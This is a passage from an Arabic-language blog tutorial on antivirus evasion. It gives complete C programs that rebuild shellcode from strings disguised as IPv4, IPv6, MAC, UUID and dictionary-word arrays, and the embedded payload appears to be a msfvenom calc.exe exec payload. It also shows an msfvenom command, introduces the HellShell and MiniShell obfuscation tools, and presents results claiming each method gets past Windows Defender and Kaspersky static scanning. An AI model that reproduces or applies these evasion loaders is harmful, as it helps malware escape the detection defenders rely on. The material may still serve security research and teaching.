  NTSTATUS STATUS = NULL;

  fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
  if (pRtlIpv4StringToAddressA == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return FALSE;
  }

  sBuffSize = NmbrOfElements * 4;

  pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
  if (pBuffer == NULL) {
    printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  TmpBuffer = pBuffer;

  for (int i = 0; i < NmbrOfElements; i++) {

    if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {

      printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X\n", Ipv4Array[i], STATUS);
      return FALSE;
    }

    TmpBuffer = (PBYTE)(TmpBuffer + 4);
  }

  *ppDAddress = pBuffer;
  *pDSize = sBuffSize;
  return TRUE;
}

int main() {
  PBYTE Shellcode = NULL;
  SIZE_T ShellcodeSize = 0;

  printf("[i] Press <Enter> to Convert from IPv4 ...\n");
  getchar();

  printf("[i] Converting shellcode...\n");

  if (Ipv4Deobfuscation(Ipv4Array, NumberOfElements, &Shellcode, &ShellcodeSize)) {
    printf("[i] Shellcode converted successfully! Size: %zu bytes\n", ShellcodeSize);
    printf("\t");

    for (SIZE_T i = 0; i < ShellcodeSize; i++) {
      printf("%02X ", Shellcode[i]);
      if ((i + 1) % 16 == 0) printf("\n\t");
    }
    printf("\n");

    HeapFree(GetProcessHeap(), 0, Shellcode);
  }
  else {
    printf("[!] Failed to convert shellcode.\n");
  }

  printf("[i] Press <Enter> to Quit ...\n");
  getchar();

  return 0;
}

2.2 IPv6 to Shellcode :

[+] تاني تكنيك معانا وهو هنرجع الـ IPv6 للـ شيل كود :

  1. أول جزء هنضيف الـ IPv6 ، وباقي الأكواد نفس فكرة الـ IPv4 .. وهتعرف تفهمهم لوحدك لما تقرأ.
  2. IPv6ToShellcode-1

[+] يلا نـ رن :

  • تمام ✅
  • IPv6ToShellcode-2

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

char* Ipv6Array[] = {
  "FC48:83E4:F0E8:C000:0000:4151:4150:5251", "5648:31D2:6548:8B52:6048:8B52:1848:8B52", "2048:8B72:5048:0FB7:4A4A:4D31:C948:31C0",
  "AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED", "5241:5148:8B52:208B:423C:4801:D08B:8088", "0000:0048:85C0:7467:4801:D050:8B48:1844",
  "8B40:2049:01D0:E356:48FF:C941:8B34:8848", "01D6:4D31:C948:31C0:AC41:C1C9:0D41:01C1", "38E0:75F1:4C03:4C24:0845:39D1:75D8:5844",
  "8B40:2449:01D0:6641:8B0C:4844:8B40:1C49", "01D0:418B:0488:4801:D041:5841:585E:595A", "4158:4159:415A:4883:EC20:4152:FFE0:5841",
  "595A:488B:12E9:57FF:FFFF:5D48:BA01:0000", "0000:0000:0048:8D8D:0101:0000:41BA:318B", "6F87:FFD5:BBF0:B5A2:5641:BAA6:95BD:9DFF",
  "D548:83C4:283C:067C:0A80:FBE0:7505:BB47", "1372:6F6A:0059:4189:DAFF:D563:616C:632E", "6578:6500:9090:9090:9090:9090:9090:9090"
};

#define NumberOfElements 18

typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
  PCSTR S,
  PCSTR* Terminator,
  PVOID Addr
);

BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

  PBYTE pBuffer = NULL,
  TmpBuffer = NULL;

  SIZE_T sBuffSize = NULL;

  PCSTR Terminator = NULL;

  NTSTATUS STATUS = NULL;

  fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
  if (pRtlIpv6StringToAddressA == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  sBuffSize = NmbrOfElements * 16;
  pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
  if (pBuffer == NULL) {
    printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  TmpBuffer = pBuffer;

  for (int i = 0; i < NmbrOfElements; i++) {
    if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
      printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X\n", Ipv6Array[i], STATUS);
      return FALSE;
    }

  TmpBuffer = (PBYTE)(TmpBuffer + 16);
  }

  *ppDAddress = pBuffer;
  *pDSize = sBuffSize;
  return TRUE;
}

int main() {
  PBYTE Shellcode = NULL;
  SIZE_T ShellcodeSize = 0;

  printf("[i] Press <Enter> to Convert from IPv6 ...\n");
  getchar();

  printf("[i] Converting shellcode...\n");

  if (Ipv6Deobfuscation(Ipv6Array, NumberOfElements, &Shellcode, &ShellcodeSize)) {
    printf("[i] Shellcode converted successfully! Size: %zu bytes\n", ShellcodeSize);
    printf("\t");

    for (SIZE_T i = 0; i < ShellcodeSize; i++) {
      printf("%02X ", Shellcode[i]);
      if ((i + 1) % 16 == 0) printf("\n\t");
    }
    printf("\n");

    HeapFree(GetProcessHeap(), 0, Shellcode);

  }
  else {
    printf("[!] Failed to convert shellcode.\n");
  }

  printf("[i] Press <Enter> to Quit ...\n");
  getchar();

  return 0;
}

2.3 MAC Address to Shellcode :

[+] تالت تكنيك .. هنرجع الـ MAC Adresses للـ Shellcode .. يلا نشوف :

  1. هنضيف الـ MAC Addresses .. وباقي الكود متشابه والاختلاف بسيط :
  2. MACToShellcode-1

[+] يلا نـ رن :

  • تمام ✅
  • MACToShellcode-2

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

char* MacArray[] = {
  "FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72",
  "50-48-0F-B7-4A-4A", "4D-31-C9-48-31-C0", "AC-3C-61-7C-02-2C", "20-41-C1-C9-0D-41", "01-C1-E2-ED-52-41", "51-48-8B-52-20-8B",
  "42-3C-48-01-D0-8B", "80-88-00-00-00-48", "85-C0-74-67-48-01", "D0-50-8B-48-18-44", "8B-40-20-49-01-D0", "E3-56-48-FF-C9-41",
  "8B-34-88-48-01-D6", "4D-31-C9-48-31-C0", "AC-41-C1-C9-0D-41", "01-C1-38-E0-75-F1", "4C-03-4C-24-08-45", "39-D1-75-D8-58-44",
  "8B-40-24-49-01-D0", "66-41-8B-0C-48-44", "8B-40-1C-49-01-D0", "41-8B-04-88-48-01", "D0-41-58-41-58-5E", "59-5A-41-58-41-59",
  "41-5A-48-83-EC-20", "41-52-FF-E0-58-41", "59-5A-48-8B-12-E9", "57-FF-FF-FF-5D-48", "BA-01-00-00-00-00", "00-00-00-48-8D-8D",
  "01-01-00-00-41-BA", "31-8B-6F-87-FF-D5", "BB-F0-B5-A2-56-41", "BA-A6-95-BD-9D-FF", "D5-48-83-C4-28-3C", "06-7C-0A-80-FB-E0",
  "75-05-BB-47-13-72", "6F-6A-00-59-41-89", "DA-FF-D5-63-61-6C", "63-2E-65-78-65-00" };

#define NumberOfElements 46

typedef NTSTATUS(NTAPI* fnRtlEthernetStringToAddressA)(
  PCSTR S,
  PCSTR* Terminator,
  PVOID Addr
);

BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

  PBYTE pBuffer = NULL,
  TmpBuffer = NULL;

  SIZE_T sBuffSize = NULL;

  PCSTR Terminator = NULL;

  NTSTATUS STATUS = NULL;

  fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
  if (pRtlEthernetStringToAddressA == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  sBuffSize = NmbrOfElements * 6;
  pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
  if (pBuffer == NULL) {
    printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  TmpBuffer = pBuffer;

  for (int i = 0; i < NmbrOfElements; i++) {
    if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
      printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X\n", MacArray[i], STATUS);
      return FALSE;
    }

    TmpBuffer = (PBYTE)(TmpBuffer + 6);
  }

  *ppDAddress = pBuffer;
  *pDSize = sBuffSize;
  return TRUE;
}
int main() {
  PBYTE Shellcode = NULL;
  SIZE_T ShellcodeSize = 0;

  printf("[i] Press <Enter> to convert from MAC ...\n");
  getchar();

  printf("[i] Converting shellcode...\n");

  if (MacDeobfuscation(MacArray, NumberOfElements, &Shellcode, &ShellcodeSize)) {

    printf("[i] Shellcode converted successfully! Size: %zu bytes\n", ShellcodeSize);
    printf("\t");

    for (SIZE_T i = 0; i < ShellcodeSize; i++) {
      printf("%02X ", Shellcode[i]);
      if ((i + 1) % 16 == 0) printf("\n\t");
    }
    printf("\n");

    HeapFree(GetProcessHeap(), 0, Shellcode);
  }
  else {
    printf("[!] Failed to convert shellcode.\n");
  }

  printf("[i] Press <Enter> to Quit ...\n");
  getchar();

  return 0;
}

2.4 UUID to Shellcode :

[+] هنرجع الـ UUIDs لـ شيل كود :

  • هنضيف الـ UUIDs .. والباقي إنت عارفه :
  • UUIDToShellcode-1

[+] يلا نـ رن :

  • تمام ✅
  • UUIDToShellcode-2

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>
#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

char* UuidArray[] = {
  "E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", "728B4820-4850-B70F-4A4A-4D31C94831C0",
  "7C613CAC-2C02-4120-C1C9-0D4101C1E2ED", "48514152-528B-8B20-423C-4801D08B8088", "48000000-C085-6774-4801-D0508B481844",
  "4920408B-D001-56E3-48FF-C9418B348848", "314DD601-48C9-C031-AC41-C1C90D4101C1", "F175E038-034C-244C-0845-39D175D85844",
  "4924408B-D001-4166-8B0C-48448B401C49", "8B41D001-8804-0148-D041-5841585E595A", "59415841-5A41-8348-EC20-4152FFE05841",
  "8B485A59-E912-FF57-FFFF-5D48BA010000", "00000000-4800-8D8D-0101-000041BA318B", "D5FF876F-F0BB-A2B5-5641-BAA695BD9DFF",
  "C48348D5-3C28-7C06-0A80-FBE07505BB47", "6A6F7213-5900-8941-DAFF-D563616C632E", "00657865-9090-9090-9090-909090909090"
};

#define NumberOfElements 18

typedef RPC_STATUS(WINAPI* fnUuidFromStringA)(
  RPC_CSTR StringUuid,
  UUID* Uuid
  );

BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

  PBYTE pBuffer = NULL,
  TmpBuffer = NULL;

  SIZE_T sBuffSize = NULL;

  PCSTR Terminator = NULL;

  NTSTATUS STATUS = NULL;

  fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
  if (pUuidFromStringA == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  sBuffSize = NmbrOfElements * 16;
  pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
  if (pBuffer == NULL) {
    printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    return FALSE;
  }
  TmpBuffer = pBuffer;

  for (int i = 0; i < NmbrOfElements; i++) {
  if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
    printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X\n", UuidArray[i], STATUS);
    return FALSE;
    }

    TmpBuffer = (PBYTE)(TmpBuffer + 16);
  }

  *ppDAddress = pBuffer;
  *pDSize = sBuffSize;
  return TRUE;
}
int main() {
  PBYTE Shellcode = NULL;
  SIZE_T ShellcodeSize = 0;

  printf("[i] Press <Enter> to Convert from UUIDs ...\n");
  getchar();

  printf("[i] Converting shellcode...\n");

  if (UuidDeobfuscation(UuidArray, NumberOfElements, &Shellcode, &ShellcodeSize)) {
    printf("[i] Shellcode converted successfully! Size: %zu bytes\n", ShellcodeSize);
    printf("\t");

    for (SIZE_T i = 0; i < ShellcodeSize; i++) {
      printf("%02X ", Shellcode[i]);
      if ((i + 1) % 16 == 0) printf("\n\t");
    }
    printf("\n");

    HeapFree(GetProcessHeap(), 0, Shellcode);
  }
  else {
    printf("[!] Failed to convert shellcode.\n");
  }

  printf("[i] Press <Enter> to Quit ...\n");
  getchar();

  return 0;
}

2.5 Words to Shellcode :

آخر تكنيك .. هنرجع الشيل كود من الكلمات اللـ حولناها.

  1. هنضيف الـ Dictionary .. اللـ استخدمناه عشان نحول من الشيل كود.
  2. WordsToShellcode-1
  3. ودا الشيل كود بعد مـ اتحول لكلمات .. والباقي سهل وبسيط :
  4. WordsToShellcode-2

[+] يلا نـ رن :

  • تمام ✅
  • WordsToShellcode-3

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

int main(void) {
  unsigned char* translation_table[256] = { "music","taste","wings","audio","endif","winds","crime","bonus","lanka","honey",
  "simon","manor","screw","puppy","surge","watts","upper","dance","touch","heavy","tumor","scale","acute","wider","strap",
  "tooth","colon","karen","fever","quiet","chart","donna","yacht","human","devil","belly","heath","class","shall","these",
  "funds","discs","atlas","dying","arrow","spies","pairs","young","amber","exist","glory","offer","swift","focal","larry",
  "bobby","tires","items","skirt","adult","blond","roman","stick","elvis","slope","scuba","value","lexus","cells","happy",
  "joins","india","yards","smoke","train","bacon","sheet","blink","dairy","latex","feels","guide","shoot","holly","armor",
  "bench","tours","cedar","fires","bands","firms","roads","known","going","mails","speak","laugh","heard","study","logan",
  "packs","level","carey","shirt","loose","tapes","goals","maine","uncle","shine","dense","cases","cache","cards","favor",
  "disks","coins","nokia","enter","fatty","bring","anger","singh","tribe","notre","saint","emily","moses","brown","kathy",
  "busty","squad","gamma","debug","nikon","judge","guest","claim","lobby","bears","maybe","close","basic","catch","alarm",
  "meant","chain","meyer","vital","clock","keith","ports","theme","enjoy","abuse","rooms","pipes","broad","words","outer",
  "point","users","paste","aruba","hairy","spice","taxes","teach","paris","plate","roger","title","stone","gates","texts",
  "smart","trade","berry","worry","photo","tunes","storm","panic","pumps","hello","fuzzy","mouth","joyce","grows","email",
  "teddy","pills","birth","games","pride","skype","meter","yours","lyric","means","picks","diane","wagon","rouge","kevin",
  "focus","scott","dolls","frost","today","small","alpha","track","smith","james","wanna","buses","spots","eight","stuck",
  "indie","clean","weeks","jewel","solve","opens","civic","usage","array","nodes","mason","roots","sugar","dirty","sight",
  "jesus","lloyd","strip","dream","might","tions","grams","brass","hired","julia","crazy","flood","march","combo","drops",
  "delta","shaft","spank","jesse","arena","visit" };

  unsigned char* translated_shellcode[196] = {
  "spank", "yards", "squad", "array", "tions", "sugar", "birth", "music",
  "music", "music", "scuba", "guide", "scuba", "feels", "shoot", "guide",
  "tours", "yards", "exist", "small", "level", "yards", "bears", "shoot",
  "laugh", "yards", "bears", "shoot", "strap", "yards", "bears", "shoot",
  "yacht", "yards", "bears", "favor", "feels", "yards", "watts", "pumps",
  "train", "train", "blink", "exist", "diane", "yards", "exist", "birth",
  "stone", "blond", "heard", "notre", "wings", "arrow", "yacht", "scuba",
  "games", "diane", "puppy", "scuba", "taste", "games", "civic", "strip",
  "shoot", "scuba", "guide", "yards", "bears", "shoot", "yacht", "bears",
  "value", "blond", "yards", "taste", "frost", "bears", "brown", "guest",
  "music", "music", "music", "yards", "debug", "birth", "coins", "shirt",
  "yards", "taste", "frost", "feels", "bears", "yards", "strap", "cells",
  "bears", "slope", "yacht", "smoke", "taste", "frost", "usage", "tours",
  "yards", "visit", "diane", "scuba", "bears", "swift", "guest", "yards",
  "taste", "james", "blink", "exist", "diane", "yards", "exist", "birth",
  "stone", "scuba", "games", "diane", "puppy", "scuba", "taste", "games",
  "tires", "solve", "nokia", "grams", "sheet", "audio", "sheet", "heath",
  "lanka", "happy", "items", "today", "nokia", "buses", "fires", "cells",
  "bears", "slope", "heath", "smoke", "taste", "frost", "carey", "scuba",
  "bears", "screw", "yards", "cells", "bears", "slope", "fever", "smoke",
  "taste", "frost", "scuba", "bears", "endif", "guest", "yards", "taste",
  "frost", "scuba", "fires", "scuba", "fires", "mails", "bands", "firms",
  "scuba", "fires", "scuba", "bands", "scuba", "firms", "yards", "squad",
  "lloyd", "yacht", "scuba", "shoot", "visit", "solve", "fires", "scuba",
  "bands", "firms", "yards", "bears"
  };

  unsigned char shellcode[196] = { 0 };
  int sc_len = sizeof(shellcode);

  printf("[i] Press <Enter> to Convert from Words ...\n");
  getchar();

  printf("[i] Converting shellcode...\n");
  for (int sc_index = 0; sc_index < 196; sc_index++) {
    printf("");
    for (int tt_index = 0; tt_index <= 255; tt_index++) {
      if (strcmp(translation_table[tt_index], translated_shellcode[sc_index]) == 0) {
      shellcode[sc_index] = tt_index;
      break;
      }
    }
  }

  printf("[i] Shellcode converted successfully! Size: %zu bytes\n", (sizeof(shellcode) - 1));
  printf("\t");
  int idx = 0;
  while (idx < sizeof(shellcode))
  {
  if (idx == (sizeof(shellcode) - 1))
  {
      printf("0x%02x ", (unsigned char)shellcode[idx]);
      if ((idx + 1) % 16 == 0) printf("\n\t");
    }
    else
    {
    printf("0x%02x, ", (unsigned char)shellcode[idx]);
    if ((idx + 1) % 16 == 0) printf("\n\t");
    }
  idx++;
  }

  printf("\n\n");
  printf("[i] Press <Enter> to Quit ...\n");
  getchar();

  return 0;
}

3. Tools :

[+] بعد مـ عرفنا كل الطُرق اللـ إتكلمنا عليهم .. حابب أقولك إن فـ تولز بتسهل عليك الموضوع ده ، ومش محتاج تعمل كل دا بنفسك .. هتقولي طب لي مقولتهاش من الأول .. هقولك إن لازم تتعلم التكنيكس دي وتجرب بنفسك .. متكونش بصمجي يا هندسة وتستسهل.

3.1 HellShell Tool :

[+] أول تول هي الـ HellShell .. ودي فيها مميزات جميلة وتقدر تشوف لينك الجيتهاب بتاعها من [هنا].

[+] بتقدر تعمل كل اللـ اتكلمنا عليه فوق ده ما عدا إنك تحول لـ Words .. بس بخلاف كده ، فيها كمان طريقتين للـ Encryption ، واللـ إتكلمنا عنهم المقالة اللـ فاتت وهما RC4 & AES.

HellShell-1
  1. هتفتح الملف HellShell.sln ، وهتعمل Build ع نمط الـ Release.
  2. HellShell-2
  3. هنروح للـ Kali Linux ونكريت Payload بس فـ هيئة ملف binary.
  4. msfvenom -p windows/x64/exec CMD=calc.exe -o calc.bin
    HellShell-3
  5. هنا أول لما ترن التول هتعرف استخدامها وايه اللـ هي تقدر تعمله.
  6. HellShell-4
  7. هتديلها ملف الـ binary ، وتقدر تختار أي حاجه من اللـ فـ الصورة اللـ فاتت ، هتلاقيها طلعتلك انها عملتله Obfuscation ، وعطياك النتيجة ومعاك كمان الكود بتاع الـ Deobfuscation.
  8. HellShell-5

[+] جرب التول واستكشف باقي اللـ فيها بنفسك .....

3.2 MiniShell Tool :

[+] تاني تول ودي بتسهل عليك جزء الـ Encryption .. وتقدر تشوف المصدر بتاعها ع جيتاب من [هنا].

MiniShell-1
  1. هتعمل Build ع وضع الـ Release زي التول اللـ فاتت.
  2. هتجرب تشغلها هتعرفك هي بتعمل إيه واستخدامها ايه.
  3. MiniShell-2
  4. المميز فـ التول دي انها تقدر تعملك ملفات متشفرة .. وكمان معاك الأكواد لفك التشفير :
  5. MiniShell-3

[+] آخر جزء فـ المقالة وهو ، هنجرب اللـ عملناه النهاردة ع الـ Windows Defender ، والـ Kaspersky.

  1. هنـ Build كل البروجيكتس ع نمط الـ Release.
  2. الـ IPv4 .. كدا Done ✅
  3. Obfs-Bypass-1
  4. الـ IPv6 .. كمان Done ✅
  5. Obfs-Bypass-2
  6. الـ MAC .. زيهم Done ✅
  7. Obfs-Bypass-3
  8. الـ UUIDs .. اللـ بعدووو Done ✅
  9. Obfs-Bypass-4
  10. الـ Words .. سيم Done ✅
  11. Obfs-Bypass-5

[+] دلوقتي هنجرب ع الـ Kaspersky :

  1. الـ IPv4 ✅
  2. Obfs-Bypass-6
  3. الـ IPv6 ✅
  4. Obfs-Bypass-7
  5. الـ MAC ✅
  6. Obfs-Bypass-8
  7. الـ UUIDs ✅
  8. Obfs-Bypass-9
  9. الـ Words ✅
  10. Obfs-Bypass-10

[+] الفكرة ان كل اللـ عملناه حتي الآن ما هو إلا بنشفر الشيل كود وبنفكه .. يعني لسه مدناش له أي أمر إنه يـ execute .. فـ بقولهالك تاني .. كل دا بنعدي الـ Static Analysis بس ، إنما وقت لما يترن هيكون فيه كلام تاني عشان الـ Dynamic Analysis ، وهديلك مثال دلوقتي إننا نـ رن الشيل كود ويفتح الـ Calculator ، ومتقلقش لسه قدام هعلمك إزاي تديلة الأمر ويـ رن :

  • دا كدا الـ Kaspersky :
  • ودا الـ Windows Defender :

وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.

References

خدلك لفة فـ المصادر والمراجع يا عزيزي:

  • Shellcode as IP Addresses
  • Shellcode as MAC Addresses
  • Shellcode as UUIDs
  • Shellcode Using Jargon
  • Jargon
  • Jargon Github
  • Hellshell
  • Minishell
  • Bypassing AV Solution Using Simple Evasion Techniques